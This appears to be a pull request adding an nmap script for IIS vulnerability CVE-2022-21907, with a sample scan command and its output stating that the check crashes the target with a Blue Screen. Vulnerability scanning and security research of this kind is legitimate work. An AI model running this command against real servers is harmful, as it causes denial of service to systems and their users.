Add script to discover a IIS vulnerabilty

[mauricelambert]

• This script detect a IIS vulnerability
• CVE-2022-21907: HTTP Protocol Stack Remote Code Execution Vulnerability
• Side effects:
  • DOS attack
  • Causes a Blue Screen

~# nmap -p 80 --script dos_iis_2022_21907 10.10.10.10
80/tcp open  http
| dos_iis_2022_21907:
|   VULNERABLE:
|   IIS CVE-2022-21907 DOS
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2022-21907
|                   The IIS Web Server contains a RCE vulnerability. This script
|                   exploits this vulnerability with a DOS attack
|                   (causes a Blue Screen).
|
|     Disclosure date: 2022-01-11
|     References:
|       https://nvd.nist.gov/vuln/detail/CVE-2022-21907
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21907
|_      https://github.com/mauricelambert/CVE-2022-21907

Demonstration

[Jimmei22]

#2447 (comment)